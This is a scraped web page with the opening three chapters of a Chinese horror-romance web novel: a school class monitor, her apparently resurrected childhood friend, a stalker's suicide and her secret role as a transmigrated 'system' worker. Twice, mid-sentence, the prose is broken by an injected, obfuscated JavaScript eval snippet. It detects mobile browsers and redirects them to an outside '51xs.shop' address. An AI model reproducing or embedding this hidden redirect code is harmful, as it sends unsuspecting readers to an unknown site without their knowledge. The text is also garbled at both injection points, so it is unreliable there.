《在恐怖漫画当白月光》 1. 第一章 海市。 景明私立国际学校。 早课还没开始,整座校园被笼罩在一层薄雾之中,教室里就已经陆陆续续到了不少人。 到校的学生们没有立刻拿出书开始学习,反而放松地彼此谈论着课外的话题—— 手上新做的美甲、最近正在追的电视剧、不久前的篮球比赛、这个暑假要去哪里玩…… 对于景明私立国际学校的学生来说,学业是他们最不需要操心的事。 但凡能进入这所学校的学生,除了零星几个成绩优异的特招生,其余人家境至少都在中产及以上,就算成绩不好,也会有其他出路。 有钱人家孩子的人生容错率,总是超出普罗大众的想象。 伴随着一个少女的到来,原本各干各的教室里,突然响起了此起彼伏的问好声。 “班长,早上好!” “早上好班长,吃早饭了吗?” “班长,你今天还是这么漂亮!” “大家早上好。” 面对同学们的热情,少女也笑着一一回应了,只是她似乎有什么烦心事,看起来兴致不高,提着书包径直走到了自己的座位上。 教室里,无数人的视线若有若无地落在了靠窗的方向。 准确地说,是落在那位眉目如画的少女身上。 她有一头锦缎般的乌发,柔顺地垂落在腰间,衬得她肌肤愈白,唇色愈红,清新脱俗得像是初绽的栀子花。 窗外照进来的阳光在她身上镀了一层金色的光晕,美得浓墨重彩,仿佛刚从油画中走出来的古典美人。 女孩本名白栀,是这所学校里的风云人物,因为人缘好,大家都喜欢亲昵地叫她栀栀。 栀栀的家境不算显赫,父亲经营着一家规模不算小的公司,母亲是钢琴老师,在这所学校里,她的家世最多只能算是中流。 可是新生入学当天,她就以惊人的美貌在学校里引起了热议。 毕竟,漂亮的女孩不少,但精致无暇到像是游戏建模的也没几个。 随着时间推移,大家发现栀栀不仅长得美,成绩也十分优异,任何考试从来没有跌出过前三名。 同学们虽然看重彼此的家境,但没有大人那么市侩,还保留着孩子气的天真。 像她这种漂亮又聪明,还多才多艺,永远名列前茅的优等生,家世如何似乎也不是那么重要了。 况且栀栀品行很好,为人一点都不势利,从不看人下菜碟。 无论同学家境如何、成绩如何、外貌如何,她都能做到平等地对待每一个人。 只要有同学向她求助,无论学习还是生活,她都会力所能及地提供帮助。 相貌、成绩、人品,统统挑不出毛病,第一次投票,栀栀就高票当选班长。 认真负责,自身足够优秀,却不仗势欺人,反而保护弱小,温柔公正地对待每一个人。 同学们都很喜欢她。 哪怕是某些飞扬跋扈的同学,在面对这位班长时也往往会收敛自己的嚣张,甚至出现脸色涨红、手足无措等一系列奇怪的反应。 教室里,郑高宇正在神神秘秘地和同学们讨论着什么,见班长来了,他立刻眼前一亮,找她搭话。 “班长,你听说滨海一中最近发生的事了吗?” 滨海一中是海市最好的公立学校,学霸云集,高压之下诞生了无数卷王,和景明这种校风比较自由的私立学校截然不同。 这样一所卷王学校,却在前不久,突兀地宣布了全体学生放假的消息。 并且,就在放假那天,滨海一中四周拉起了警戒线。 一时间谣言四起。 因为流言传得沸沸扬扬,学校不得不站出来公布真相—— 原来是有学生因为学习压力太大,产生了精神方面的问题,一时发疯,用刀捅了和自己同寝室的室友,现在几人还在医院接受治疗。 学校官方最后还呼吁大家学习要劳逸结合,关注心理健康。 栀栀对这件事略有耳闻,点了点头:“是压力太大精神失常,用刀捅了室友的那个吗?我也听说了。” 可是郑高宇却摇了摇头:“不,不是捅人。” 他深吸了一口气,神色似是兴奋又似是恐惧,压低了声音:“是吃人。” 栀栀微微一愣。 “死得可惨了,血肉和内脏全都被吃掉了,听说最后只找到了一些毛发和碎骨头……” “什么啊——?”其他同学发出了略带恶心的质疑声,“就算是谣言,这也传得太离谱了吧!” “你这又是从哪里知道的?” “我有朋友在滨海一中读书啊,这也是听他们说的。” “好假,要是真的发生了吃人事件,那不早就闹得满城风雨了?网络上还能是这么风平浪静的样子?” “这也说不准吧?可能是被封锁了舆论呢?” “听起来像是什么丧尸爆发的前情提要……话又说回来,滨海一中离我们学校只隔了两三个街区,如果真的爆发了丧尸,我们好像很容易被波及哦。” “接明天就丧尸爆发,我不想上学!” “同上,接明天就世界末日!” “宝贝,如果真的出现了丧尸,不要害怕,我拼死也会保护你的~” “滚,管好你自己。” 同学们聊得热火朝天,栀栀却沉默不语、神色忧郁,见她这样,有细心的女生顿时露出了担心的神情。 “班长,你脸色看起来不太好,是昨晚没睡好吗?” “可能是吧……最近,一直休息得不太好。” 栀栀声音很轻。 她不想说太多,只是温柔地冲女生笑了一下,随即便转移了话题。 考试刚结束不久,今天是出成绩的日子,她作为班长,需要前往办公室打印这次考试的成绩单。 毫无疑问,她的名字高居榜首,又是第一。 老师们照例夸奖了她一波,让她继续保持,栀栀点头答应,认真乖巧,看起来就是所有老师心中最理想优等生的模样。 因为最近没休息好,她有点恹恹的,回教室的路上都在走神。 办公室到教室的这条路她三年来走过无数次,已经形成了肌肉记忆,闭着眼都不会走错。 可是今天不知为何,回去的路程似乎比以往要更长一点。 栀栀按照以往 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14142933|150179||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的习惯走到教室门口,刚想进去,却发现教室门被关上了。 她下意识想抬手推门,却又突然顿了一下。 奇怪……教室里怎么一点声音都没有? 没有同学的嬉闹声、没有老师的讲课声、也没有写字的沙沙声。 什么声音都没有,仿佛门内空无一人。 好安静。 不止是教室,整座学校,都好安静。 她突然想到,刚才回来的路上,她好像……一个人都没遇到。 为什么会这么安静? “站在这儿发什么呆呢?” 一道懒洋洋的声音响起。 一只手落在她肩上,轻轻推了她一下,栀栀顺势被他带进教室。 刹那间,死寂般的安静退去,嘈杂的人声如潮水从四面八方涌来。 教室里,同学们还是一如既往地在说话嬉闹,和她离开前没有什么区别。 走廊上不时有学生和老师经过。 刚才霎那间奇怪的安静,好像只是她的错觉。 栀栀回头看向身后的人。 黑发少年不太规矩地穿着校服外套,手腕上戴着黑色的运动护腕。 他身型修长高挑,皮肤冷白如玉,有一双很漂亮的桃花眼,眼尾微微上翘,不笑也像是在笑。 少年容貌俊美而秀气,帅得挑不出一点瑕疵,好看得像是漫画里走出来的美少年。 他还是一如既往地自由散漫,踩点到校。 眼前少年是她青梅竹马的小伙伴。 “……凌漾?” “是我。”似乎是没睡好,凌漾有点没精神,低头望着她,“一来就看你站在门口发呆,怎么不进去?” “刚才……”栀栀犹豫了一会儿,不知道怎么形容自己刚才的感觉,她摇了摇头,“……不,没什么。” 凌漾似乎没注意到她些微的异常,他的视线落到她手里的成绩单上。 她的名字高居榜首。 凌漾笑了起来:“又是第一?班长,你这么厉害,是不打算给后面的同学留一点上升机会了吗?” 他本就生得俊美如玉,一笑起来,那双灿然的桃花眼勾起的弧度更是摄人心魄,有不少同学都在用余光悄悄地看他。 但栀栀却没有看他,她只是很轻又有些慌乱地嗯了一声,就不再说话了。 似乎是觉得她的反应无趣,黑发少年垂下纤长的睫毛,盖住了琉璃般清澈的眼瞳,显得兴致寥寥。 郑高宇招呼他过去一起打游戏,凌漾笑着说了声“好”,便径直走向了自己的座位。 看着他远去的背影,栀栀并没有感到失落,反而不自觉松了口气。 她握紧了手,指甲深深陷入掌心之中。 些微的疼痛能让感知更加敏锐。 为什么没人觉得奇怪呢? 她想。 明明刚才说起滨海一中的吃人传闻,同学们个个都侃侃而谈,可是这么明显的异常就在他们身边,为什么没有一个人觉得奇怪呢? 凌漾他—— 他明明已经死了啊。 为什么除了她……没有一个人对他死而复生这件事,感到奇怪呢? 2. 第二章 事情大概要从几周前说起。 几周前,发生了一件怪事。 那是一天周末,栀栀闲得无聊,就约好了凌漾一起去市区最大的购物中心“金海天地”玩。 两人正在为看什么电影展开辩论,汹涌的人潮中,她突然听见了一声极轻的“咔嚓”声。 就像手机按下拍照键那一瞬间的声响。 有人在拍她。 她猛然回过头。 栀栀把这件事告诉了凌漾,他们很快就在人海中抓住了那个偷拍她的人。 对方是个长相普通、穿着普通、气质普通的青年男性,属于丢在人群中毫不起眼的那类人。 可他的手机里的确有刚才偷拍她的照片。 更令人心惊的是,偷拍大概已经持续了很长一段时间——栀栀上学放学的照片、和同学玩乐的照片、在街边喂流浪猫的照片……一张又一张。 其中并没有往下三路拍摄的猥琐角度,但看见这些照片,凌漾脸色还是瞬间冷了下来。 “你跟踪她啊?” 他语气森然。 男人一声不吭。 围观的路人帮腔:“他肯定是看人家小姑娘长得漂亮起了歹心!帅哥,直接报警吧!这么多照片,再怎么样也得拘留几天!” 男人被群众们团团围住,还有热心市民准备帮忙报警,这种条件下,根本无处可逃。 然而下一秒,男人突然从怀里掏出了一把刀。 刀光清冽,刀尖锋利,显然是开过刃的。 事情发生得太过突然。 银光一闪—— 鲜红的血液喷溅而出,刀刃插进颈部动脉,拔出的瞬间,跟随利刃泼出的血直直洒在了空气中。 血雾绽开。 男人竟然直接把刀插进了自己脖子! “啊——!” 周围顿时响起一片尖叫。 鲜血流了一地,人群惊慌逃散。 在男人拿出刀的瞬间,栀栀就被凌漾护在了怀里,男人身上喷溅而出的血直接洒在了凌漾身上的蓝黑色外套上,而她因为被他护在怀里,并没有沾上一点血雾。 心跳急促得像有人在耳边打鼓。 被他摁在怀里,她看不见到底发生了什么,但根据周围人的反应大概也能猜到。 空气中弥漫着血腥味,她忍不住捏住他的衣袖,微微发颤:“……他、他自杀了?” “嗯。”看到偷拍男死去的血腥场景,凌漾表现却很平静,并没有半点‘死者为大’的礼貌性尊重,“割到了颈动脉,死得很快很轻松。” 言语间有几分不加掩饰的嘲弄。 栀栀不安地扯了扯他衣袖:“凌漾……” 像是突然回过神来,少年微微一怔,他扶住她的肩低头望向她,那双漂亮的桃花眼里闪过一抹不着痕迹的担忧和心疼:“抱歉,是不是吓到你了?” 栀栀摇了摇头。 警方很快到达了现场。 经调查,偷拍男是个无业游民,他父母早亡,给他留下了一大笔钱,他靠遗产生活,没有工作也没有朋友,人际关系非常简单。 不知道他是从什么时候盯上栀栀的,警方在他的手机里只发现了和她相关的照片,没有其他女孩的踪迹。 男人偷拍、自杀,这两件事发生在大庭广众之下,又有监控,实在没什么值得反复推敲的地方。 栀栀又完全是受害者,不仅被偷拍还被留下了这么恐怖的心理阴影,同学们听说这件事后,都很同情她。 唯一让人疑惑的是,能干出偷拍这种事的人渣,不说其他,至少脸皮应该是足够厚的,怎么会因为被人发现,就用这么惨烈的方式自杀? “变态在想什么,谁知道呢?” 同学们如此安慰道。 是啊,变态在想什么,谁知道呢? 因为被凌漾保护得很好,栀栀没有看到男人自刎的场景,身上也没有被鲜血溅到。 可是空气中刺鼻的血腥味,却迟迟无法散去。 就连在梦中,她也总是能嗅到那股隐隐约约的血腥气。 栀栀连着做了好几天的噩梦,半夜惊醒睡不着就给凌漾发消息,说些有的没的骚扰他。 凌晨被吵醒的凌漾总是很无奈,但他还是会强忍困意,懒洋洋地回复她那些没什么营养的话。 插科打诨总是进行不了多久,栀栀的情绪就会低落下来。 【栀栀:最近总是会梦到那天的场景……我还是第一次知道,人原来能流那么多的血。】 【凌漾:害怕了?】 【栀栀:嗯……有一点。】 还有一件事栀栀没有告诉别人。 早在偷拍男自杀事件发生之前,她就隐隐觉得有人在跟踪她。 如今偷拍男虽然死了,但是那种始终有视线注视着她的感觉……似乎并没有消散。 难道还有谁,在暗处一直看着她吗? 栀栀很害怕。 她犹豫着把自己的感受告诉了凌漾,拜托他上下学一定要陪她一起走,凌漾无有不可地答应了。 此后的一段时间,他一直形影不离地陪在她身边,或许是忌惮于她身边的少年,那种被无形注视的感觉再也没有出现过。 这让栀栀感到了一丝安心。 凌漾总是这么可靠。 他不仅是和她一起长大的青梅竹马,也是她最信赖的朋友。 说来有些让人难过,明明栀栀是个温柔善良,活泼可爱,对谁都不吝惜释放善意的女孩。 照理说,她这样的女孩子,应该有很多朋友和追求者才对。 可是不知道为什么,被她帮助过的、接近过她的那些小伙伴——那些最有可能发展成她“亲密好友”的人,最后总是会背刺她或者疏远她。 可能是她看人的眼光太差了吧。 栀栀难过地想。 好在还有凌漾一直陪在她身边。 凌漾家世非常显赫,在景明这所私立学校里,尽管家境富裕的同学很多,但只有他,才真正算得上是出身名门的贵公子。 滨海市内好几座规模庞大的博物馆、体育馆、图书馆都是由凌家多年前出资建立,甚至凌家先祖还有专门的纪念馆,每到节假日,前去参观的人都络绎不绝。 如果不是因为那场“意外”……栀栀原本是不可能和他一起长大,还成为关系密切的青梅竹马的。 虽然家世显赫,但凌漾为人随和散漫,从不仗势欺人,同学们有事相求他往往也不会拒绝,在学校里有很高的人气和声望。 与此同时他又生了副好容貌,眉目如画,气质清贵,从小就很招人喜欢。 出身名门,成绩优异,长得帅,性格又好,可以说他本人就是最完美的“恋爱漫男主模板”。 这么完美的少年,对所有人都保持着不远不近的距离,却唯独对栀栀不一样。 栀栀觉得凌漾很全能。 虽然他总是喜欢逗她,但遇上困难又能淡定地替她解决掉所有问题,满足她的一切心愿,简直就像是个万能许愿机,栀栀连手机上给他的备注都是“哆啦L梦”。 大家都觉得他们早晚会在一起的,他们是天作之合,如果谈恋爱,老师和家长也不会反对。 栀栀也这样认为,当时那么危急的状况下,凌漾的第一反应都是保护她,要说他不喜欢她,根本没人会相信嘛。 他们一定会在一起的。 她此前一直是这样想的。 但是不久后,这个想法就荡然无存了。 因为班上突然来了一个转学生。 * 林雨薇是几个月前突然转到一班来的。 她长得清丽秀美,文文弱弱的,像小白花一样有种惹人怜惜的气质。 在诸多同学中,林雨薇家境只能算是普通,又因为性格内向文弱,刚转来时很多同学都有排外心理,不愿意搭理她,林雨薇差点沦落到被孤立的境地。 栀栀是班长,当然不会对新同学的处境视而不见。 于是她主动和林雨薇做朋友,主动带她参加各种活动,主动接纳她进入自己的社交圈,在她的帮助和调和下,同学们也渐渐接受了林雨薇的存在。 可是栀栀似乎忘了,她的社交圈层里,和她关系最近的那个人是凌漾。 接纳林雨薇进入自己的社交圈,也就意味着林雨薇和凌漾的相处机会骤然变多了。 有几次林雨薇被欺负的时候她不在旁边,也是恰巧路过的凌漾解的围。 前不久的自习课上,有男生不想写作业,于是他未经允许拿了林雨薇的作业本打算抄一下答案,却没想到竟然在里面翻到了一张画像。 画像中的少年姿态随意地坐在座位上,阳光透过窗户照进来,洒在他毛茸茸的头发上,仿佛镀了一层光晕,他看向窗外,只留下一个精致的侧脸。 林雨薇在绘画上实在有些天赋,寥寥几笔,就能让人一眼看出她画的是谁。 青春期的男孩子最擅长犯贱,男生自以为发现了一个不得了的秘密,巴不得满世界宣扬,等林雨薇回到教室的时候,“她暗恋凌漾甚至特意画了画像”的事已经在同学口中传遍了。 听着同学们的议论,林雨薇脸色瞬间就白了,她甚至没有试图抢回自己的那张画,直接趴在桌上哭了起来。 凌 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14142934|150179||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 漾回到教室面临的就是这样的场景,男同学戏谑地把画拿给他看,添油加醋地说着自己是怎么发现的,显然并不觉得在大庭广众之下曝光一个女孩子的少女心事是件多过分的事。 可是凌漾并没有如他们所愿地做出种种反应,他只是看了一眼画,就无动于衷地移开了视线:“给我看什么?画上的人又不是我。” “啊?”男生愣住了,“但是……” 像是觉得无聊,凌漾不耐烦地反问道:“别人有说画的是我吗?这里面有哪根线条哪处阴影写了我的名字?随便拿一张画,就说别人暗恋我,你臆想症是不是越来越严重了?” 男生讷讷道:“可是画上的人明明就和你很像……” “帅哥都是相似的嘛。”凌漾扯了扯嘴角,瞥他一眼,“哪像你?丑得千奇百怪的。” 凌漾虽然不喜欢用家世压人,但是不代表别人可以随便得罪他。 既然他都这样表态了,旁人自然也不敢再拿画的事取笑林雨薇。 当时栀栀不在教室,这件事还是闺蜜叶晴和她转述的。 “你不觉得这个剧情……很像青春校园文的开头吗?” “总是被欺负的小白花女主暗恋出身名门的学霸男主,因为一次意外,男主帮了女主一次,两人在接触中感情逐渐升温……然后和男主青梅竹马的校花女配就被炮灰掉了呀!” “你现在就很像那个被炮灰掉的校花女配。” 叶晴直言不讳。 “谢谢你夸我漂亮哦。”栀栀温柔地说,“不过当着别人的面还是不要这样说了,校花什么的……总感觉有点害羞。” “……这是重点吗?”叶晴对她的天然呆感到无语,“重点是——校花女配都会被炮灰掉的!” “是你小说看太多啦。”栀栀望着她,认真地说,“况且凌漾没有别的意思,是那些男生太过分了,他只是想顾全女孩子的面子才会下场解围,我不觉得这样做有哪里不对。如果换了我在现场,也会制止他们的。” 就像她说的一样,栀栀没把这件事放在心上。 直到不久前的校内篮球赛。 那天是校内篮球赛,一班和二班争夺冠军,其他同学充当啦啦队在旁大喊加油。 体育馆内气氛非常热烈,栀栀拿着一瓶提前准备好的运动饮料站在场边。 大家都知道她手里的水是给谁的,中场休息,不免有同学开始起哄。 凌漾走过来时,栀栀自然地把水递给他,可他却没有接过。 他只是垂眼看了几秒她手中的东西,就移开了视线:“不用了,我已经有水了。” 少年俊美的面容上没什么表情。 栀栀却突然愣住了。 这是她第一次被凌漾拒绝。 还是以这么疏离的语气。 她一时有些无措。 “噢、噢……好吧。” 她慢慢把递出去的水收了回来。 离开前,她注意到凌漾座位旁的确放着一瓶电解质饮料。 就像他所说的,他已经有水了,所以拒绝了她送来的东西。 可是以往,他从来不会拒绝她的。 那瓶水……会是谁给他准备的呢? 她又想起他拒绝她时那张面无表情的脸。 精致又冷淡,像一座静美而苍白的雕塑。 这还是那个遇到危险时,会不顾一切把她紧紧护在怀里的凌漾吗? 距离偷拍那件事才过去没多久呢,一个人的态度,真的能变得这么快吗? 想到这里,栀栀有点失落。 可这也是没办法的事,不是所有青梅竹马都会在一起,也有青梅竹马混到最后混成兄弟姐妹的。 青梅竹马敌不过天降,都快成为文艺作品里的必备套路了。 即使他们曾经在夕阳下一起骑车回家,在夏天的别墅里一起打游戏,在每个周末一起写作业,十几年如一日地分享过彼此的时光……也不能保证,对方不会喜欢上别人。 如果对方有了喜欢的人,那么对曾经的青梅竹马有所疏远甚至划清界限,也是理所应当的事吧? 谁也没有立场去阻止什么。 “毕竟,凌漾喜欢谁,想要和谁在一起,那是他的自由,不是我能干涉的呀。” 那天离开教室前,栀栀是这样和叶晴说的。 可是刚一打开教室门,她就愣住了。 黑衣少年就靠在门框上,他面无表情,不知道听到了多少,那张一向带笑的俊脸透出一丝没什么生机的白。 他丝毫没在意教室里还有另一个人的存在,只是低下头,垂眸看她:“我们可以聊聊吗?” 3. 第三章 “最近学校里有些传闻我也听说了。”他说,“但事实上,帮林雨薇解围,就只是解围而已,我没有别的意思。” “我知道呀。”栀栀温温柔柔地说,“不过,这算是你的私事,你对林雨薇怎么想,其实并不需要特意通知我的。” 她言语和表情都十分真诚,绝对没有半分说反话的意思。 可是凌漾却突然笑了一声:“是吗?我不需要特意通知你吗?” 语气似乎有些微妙。 栀栀并不接他的话:“你说想和我谈谈,就是想说这个吗?好的,我知道了。不过现在已经很晚了,如果没有别的事,我们还是趁早回家吧。” 她想离开,可还没来得及迈出一步,就被他握住手腕拦了下来。 凌漾语气轻飘飘的,手上力道却很重:“别这么不耐烦,就算我是你前男友,也不至于避嫌到连句话都不愿意和我多说吧?” 如果有其他同学在场,一定会被这句话里蕴含的信息量惊到。 毕竟,在旁人看来,他们从未交往过,只是关系密切的朋友——而已。 从进入青春期开始,就时常有同学打听她和凌漾的关系,在得到否定的回答后,往往会感叹一句:“居然没有在交往吗?太可惜了吧,你们看起来真的很般配噢。” “是吗?” “嗯!不过,既然班长没有和凌同学交往,那我可以追他/你吗?” “诶?” 也是因为总是发生这种事,栀栀才会后知后觉地意识到,就像自己在男生中很受欢迎一样,自己的竹马在女生中,也是很受欢迎的。 栀栀有个比她小几岁的弟弟,父母虽然对她不算太差,但两人大概觉得还是要儿子才能继承“皇位”,所以在弟弟出生后,父母的关注就更多地倾注到了弟弟身上,难免会有忽视她的时候。 被忽视的时候,受委屈的时候,她都会跑到凌漾家去,被他带着玩一会儿游戏,看一会儿电影,似乎心情也会好很多,有时玩得太晚了,就在他家睡下也是常态。 每逢生日,父母不一定有空给她庆祝,但凌漾一定会陪着她。 甚至就连她玩游戏充的无数个648,都是他给发的红包。 “反正我钱多,花不完。” 某人毫无自觉地说出了很欠揍的话。 所以,相比偏心的父母,凌漾才是那个无论发生什么,都会无条件站在她这边的人。 栀栀从小就很黏他。 或许是吊桥效应的缘故,偷拍男事件发生之后,她对凌漾的依赖无形之中更重了。 此前她一直觉得青梅竹马的关系没什么不好,他们从小一起长大,就算将来各自有了交往的对象,彼此也不会受影响。 可是偷拍事件之后,她突然发现不是这样的。 如果凌漾将来有了女朋友,当有危险发生的时候,他第一个会保护的当然应该是自己的女友,而不是她。 可是栀栀已经被他保护照顾了很多年,她觉得自己……是无法接受这个场面的。 那是偷拍事件发生后的一天周末,她去他家别墅玩射击游戏,约定好输的人要答应对方一个要求。 凌漾是游戏高手,操作能甩栀栀几条街,按理说她绝无胜利的可能,但在她撒娇耍赖就差撒泼打滚之后,凌漾终于受不了她了,只好缴械投降。 他有些无语地看着自己被她半路抢走的游戏手柄,也不去和她抢,只是拿起可乐喝了一口,语气懒洋洋的:“说吧,费尽心思赢我,你到底想干什么坏事?” 栀栀:“你可以当我男朋友吗?” 凌漾:“……” 他被可乐呛到了。 半晌,他幽幽道:“怎么搞的?我把你当朋友,你竟然想……” 栀栀红着脸扑过去捂住他的嘴:“讨厌!不许废话!就说你答不答应吧!” “好好好我答应——你小心点可乐别洒我身上!” 虽然开局鸡飞狗跳,但他们还是顺利在一起了。 交往确实是栀栀提的,但凌漾对她极好,本来作为竹马时的他就对她多有纵容,加上男朋友的身份后,他对她简直称得上是百依百顺,有求必应。 男朋友帅气又优秀,还是出身豪门的继承人,对她又千娇百宠的,彼此还有十几年的感情基础,实在挑不出任何毛病。 可惜,这段恋情没能持续太久。 半个月不到,栀栀就向他提出了分手。 “……分手?为什么?”他似乎有些猝不及防,那双眼尾微微上翘的桃花眼看起来有几分狼狈和受伤,“是我……做错什么了吗?” “没有,没有,你没有做错什么……”栀栀别过脸,不去看他,“只是,比起恋人,我觉得我们还是当朋友会比较好。” 半个月的时间,栀栀想了很多。 她当然喜欢凌漾,喜欢到想要一直和他在一起,想要他能永远陪在自己身边。 可是作为恋人的变数太多了,有多少对情侣能顺利走进婚姻的殿堂?又有多少对夫妻能携手一生永不分离?一旦彼此之间发生争执,甚至闹崩分手,那么形同陌路都能算是好的结局。 她不该为了一时的心动和激情,将自己和凌漾原本稳定的关系置于这种危险之中。 她更宁愿在二人关系还没彻底转变的时候,重新退回到朋友的身份。 可是这些幽微难言的小心思,凌漾并不知道。 所以站在他的视角上看,就是她一时兴起要和他交往,却又在不久后突兀地提出了分手。 不管怎么想,都有点耍人玩的意思。 关系再好,拿这种事情当玩笑,也还是过分了。 果不其然,听她这样说,凌漾脸色骤然冷了下来,他盯着她,一字一句地说:“你是在玩我吗?” 这次分手分得并不愉快。 这种戏弄人的行为显然让凌漾有些受伤,两人直接陷入了冷战之中。 但或许是他实在喜欢她,冷战不到三天,他还是主动低头求和了。 “对不起,无论如何……我不该对你发脾气。如果你不想谈恋爱,那我们也可以继续做朋友……只要你高兴,就怎样都好……只是不要不理我,好不好?” 以他的心高气傲,从未在她以外的人面前如此低声下气过。 这场“冷战”最终雷声大雨点小地结束了。 只是表面和好了,不代表矛盾就不存在了,这种岌岌可危的“朋友关系”,只需要一点暗流,就能被重新打乱。 这个暗流很快就来了。 前段时间,班上突然来了一个名叫江礼的转学生。 他比林雨薇转来的时间更晚,但如果说林雨薇是被旁人孤立,那么江礼就是主动孤立了所有人。 江礼容貌俊秀,性格冷淡,总是独来独往,不参与任何集体活动,甚至还时常请假不来学校,为人十分孤僻。 这样的他,自然很难融入集体之中,他在班上也没什么说得上话的人。 栀栀是班长,她对所有同学都一视同仁地好,对转学来的江礼自然也是照顾有加,常常会在他请假时给他送作业、替他整理课堂笔记、帮助他融入同学之中,就像她曾经帮助林雨薇的那样。 可是江礼对此并不领情。 似乎是觉得她有点烦,他甚至主动申请,从一班转到了二班。 他的做法让栀栀有些受伤,老师为了安慰她,主动吐露了些许关于江礼的事。 “……江礼是个孤儿,从小就不知道自己父母是谁,他后来被一对有钱夫妇收养,算是过了一段时间好日子。但是好景不长,前段时间他的养父母意外去世,又只留下他一个人……” 老师最后还拜托她多多照顾江礼,不要因为他转了班而生气,至少对他的态度上,不要和之前有太大区别。 毕竟大家都知道栀栀温柔善良脾气好,学校里很多同学都愿意听她的话,如果大家发现江礼这么不识趣,一定会有人迁怒于他,江礼会遭受霸凌也说不定。 对于老师的请求,栀栀自然是满口答应。 她是那种在路边遇见流浪猫狗就会走不动路的人,性格里天生就有悯弱的一面,既然知道了江礼的身世如此可怜,栀栀自然也不会因为他的态度而介怀。 所以江礼转去二班之后,她还是像以前一样对他照顾有加。 甚至因为知晓了他的悲惨身世,她对他比以前更温柔友善了。 栀栀没有大肆宣扬别人隐私的爱好,江礼的身世她也没有告诉任何人,连叶晴和凌漾都没说过。 所以她也没考虑到,她对江礼的态度落在旁人眼中,是有多暧昧,暧昧到——让人难以忍受。 她和凌漾之间原本就脆弱得摇摇欲坠的关系,终于彻底失衡了。 “之前篮球赛,我都看到了。” 凌漾说。 “……什么?” “你给江礼送水,让他比赛加油的事——我碰巧看到了。”他弯了弯唇角,眼里却没什么笑意,“一班和二班比赛,你给江礼加油是什么意思?希望我输吗?” “只是礼貌性的加油打气,我哪有想这么多呀?而且最后你不是赢了吗?”栀栀放软了声音,“再说了,你不也收了其他女生送的水?我还没计较呢,你犯得着因为这个和我生气?” 凌漾的声音毫无波澜:“那瓶水是我自己拿的,不是谁送的。” 啊……这…… 没想到这一点,栀栀顿时有点心虚,她小声说:“我也给你送了水……是你自己不要的嘛。” “送过别人的东西再来送我,你凭什么觉得我会愿意要?”他反问道,“在你心里,我是这么好打发的人吗?” “哎呀,水又不是只有一瓶,不存在说给了他就不能给你了。”她上前一步,拉住他的衣袖撒娇,“一瓶水的事,不至于这么计较吧?” “至于。”凌漾微微扬起下颌,锋利的光影划过他白皙秀气的脸,衬得那双一向笑盈盈的眼眸有几分不近人情的冷,“如果你想把水给他,那就不要给我,如果你想把水给我,那就不可以给他。这是单选题,你这么聪明,肯定明白这个道理。” “可是我和江礼之间真的不是你想的那样,我们只是……只是朋友。” “只是朋友?”凌漾嗤笑,“好老套的形容,电视剧都不这样演了,用这种说辞糊弄我,你是把我当傻子么?” 栀栀咬了咬唇,没有说话。 见她沉默着迟迟没有回答,凌漾扯了扯嘴角,语气里有几分自嘲:“有这么困难吗?对你来说,选择他还是我——” 似乎有些说不下去,他垂下眼睫,就连 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像是被气狠了,他明明是在笑,眼尾却隐隐有些发红。 “我他妈到底是什么品种的死备胎,要听你说这些鬼话……”他低头深吸了一口气,不知道是受伤至极还是愤怒至极,咬牙冷笑,“你怎么能这么理直气壮?!你到底把我当什么了?!你人生计划里的PlanB?还是你抽卡池里的保底?能够任由你召之即来挥之即去?” “怎么会?”栀栀急急解释,“我一直把你当最重要的朋友……” “朋友?又是朋友?”他扯了扯嘴角,冷冷道,“谁他妈稀罕当你朋友啊?” 一场谈话谈得稀碎,两人最终不欢而散。 凌漾离开后,栀栀一个人站在空旷的教室里,夕阳的余晖照在她雪白的脸上,不知道在想什么,她脸上的委屈无措渐渐淡去,直至彻底消失。 也是在这一刻,她整个人的气质发生了一种极其微妙的变化。 似乎和此前的她变成了截然不同的两个人。 如果有人听见了刚才她和凌漾的对话,大概会觉得她是一朵又离谱又奇葩的白莲花。 没错。 她就是按这个路子演的。 白栀其实不是这个世界的人。 她原本是“游戏部”的一名员工,日常任务就是在各大游戏世界里扮演不重要的NPC,哪里需要她,就把她往哪搬。 因为“游戏部”钱少事多,职业前景又过于完蛋,在隔壁“漫画部”招新的时候,白栀果断选择了跳槽。 漫画部系统招新的时候是这样说的:现如今有几个漫画世界濒临崩溃,需要她去做一些容易的任务,维护一下世界的稳定。任务简单过程轻松,保证没有人身危险…… 总之,是一份简单而又不失意义的工作。 就连给出的待遇都比游戏部优厚一大截。 白栀对这份工作非常满意,只是在签合同前,她好奇地顺嘴问了一句:“那我要去的是什么漫画呢?” 听见她的问题,原本热情的系统突然诡异地沉默了一下,随即支支吾吾地表示:“是、是温馨治愈的……校园恋爱漫。” “噢噢,听起来很不错的样子!” 白栀干脆地在合同上签下了名字。 她的任务很简单—— 漫画世界是依靠吸收情感而存在的世界,无论是什么情感,只要足够强烈,那么这个世界就还能继续维持下去。 所以,白栀需要从漫画世界的指定人物身上获取情感,再由系统将她所收获的情感转化为维持世界存在的基石。 最强烈的感情莫过于“爱”和“恨”,简而言之,她需要攻略漫画世界中的指定角色,收集他们的“爱意值”和“黑化值”,等到两者都到达“百分之百”的时候,她就算是完成任务,可以前往下个世界了。 进入漫画世界以来,她一直兢兢业业地推进着自己的工作。 